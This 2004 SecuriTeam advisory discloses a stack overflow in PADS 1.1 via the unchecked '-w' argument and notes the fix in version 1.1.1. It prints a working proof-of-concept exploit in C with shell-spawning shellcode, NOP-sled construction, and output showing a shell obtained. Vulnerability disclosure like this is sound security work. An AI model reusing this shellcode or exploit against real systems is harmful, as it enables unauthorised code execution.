

[UNIX] PADS Simple Stack Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0075.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/22/04

To: list@securiteam.com

Date: 22 Aug 2004 17:28:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PADS Simple Stack Overflow

SUMMARY

" <<http://passive.sourceforge.net/>> PADS is a signature based detection engine used to passively detect network assets. It is designed to complement IDS technology by providing context to IDS alerts."

A simple stack overflow exists in PADS when handling the 'w' command line argument.

DETAILS

Vulnerable Systems:

- * PADS version 1.1 and prior

Immune Systems:

- * PADS version 1.1.1 or newer

PADS is vulnerable to a buffer overflow when handling the 'w' command line argument which is used to specify to which file the report should be written to. There is no bounds checking whatsoever and the optional argument of the filename is copied directly to a fixed-length buffer using strcpy(). The piece of relevant code is located at the pads.c file:

.....

Securiteam: [UNIX] PADS Simple Stack Overflow

```
char report_file[255] = "assets.csv";
```

```
.....
```

```
case 'w':  
    strcpy(report_file, optarg);  
    break;
```

```
.....
```

Vendor Status:

The author of the program was informed and a fix is available, upgrade to version 1.1.1.

A proof of concept exploit is also provided:

```
/*  
lazy mans exploit  
i make no guarantees this will exploit anything, the exploit itself was  
coded sloppy  
ChrisR-  
*/
```

```
#include <string.h>  
#include <stdlib.h>  
#include <stdio.h>  
#include <unistd.h>
```

```
// typical shellcode to spawn a shell, this can be replaced
```

```
char shellcode[] =  
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"  
  
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"  
  
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"  
    "\x68";
```

```
unsigned int sp(void)  
{__asm__("movl %esp, %eax");}
```

```
int main(int argc, char *argv[])  
{  
    int i, offset;  
    long esp, ret, *addr_ptr;  
    char *buffer, *ptr;  
    int buff_size, nop_size;  
    char prog_path[255];  
    char prog_name[255];  
    char prog_arg[255];
```

```
if (argc > 1)  
{  
    printf("\nUsage: %s And enter the values\n", argv[0]);
```

Securiteam: [UNIX] PADS Simple Stack Overflow

printf("%s is a tool to aide automate local stack overflow testing. You may need to change the code to fit your needs"

```
"there is no way to guarntee automation in the exploitation
process, except for basic examples.\n\n",argv[0]);
printf("chris @ www.cr-secure.net\n\n");
return 0;
}
```

```
printf("Please enter the values as requested . . .\n");
printf("Enter the vulnerable program path: ", prog_path);
scanf("%s", prog_path);
printf("Enter the vulnerable program name: ", prog_name);
scanf("%s", prog_name);
/****if no args req. comment out the next line and the one below that and
fix execl()****/
printf("Enter any arguments the program requires: ", prog_arg);
scanf("%s", prog_arg);
printf("Enter an offset: ");
scanf("%d", &offset);
printf("Enter a buffer size: ");
scanf("%d", &buff_size);
printf("Enter the nop sled size: ");
scanf("%d", &nop_size);

esp = sp();
ret = esp - offset;

printf("\nThe Return Value Is: 0x%x\n", ret);

buffer = malloc(buff_size);

ptr = buffer;
addr_ptr = (long *)ptr;

for (i = offset; i < buff_size; i+=4)
    *(addr_ptr++) = ret;

for ( i = offset; i < nop_size; i++)
    buffer[i] = '\x90';

ptr = buffer + nop_size;

for ( i = offset; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buffer[buff_size] = 0;

printf("Injecting Shellcode . . .\n\n");

execl(prog_path, prog_name, prog_arg, buffer, 0);
free(buffer);
```

Securiteam: [UNIX] PADS Simple Stack Overflow

```
return 0;
}
```

Output:

```
/> ex_bof
Please enter the values as requested . . .
Enter the vulnerable program path: pads
Enter the vulnerable program name: pads
Enter any arguments the program requires: -w
Enter an offset: 0
Enter a buffer size: 600
Enter the nop sled size: 400
```

```
The Return Value Is: 0xbffff8b8
Injecting Shellcode . . .
```

```
pads - Passive Asset Detection System
v1.1 - 08/14/04
Matt Shelton
```

```
sh-3.00$ id
uid=1000(chris) gid=1000(chris)
groups=20(dialout),24(cdrom),25(floppy),1000(chris)
sh-3.00$
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:chris@cr-secure.net>>
ChrisR-

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.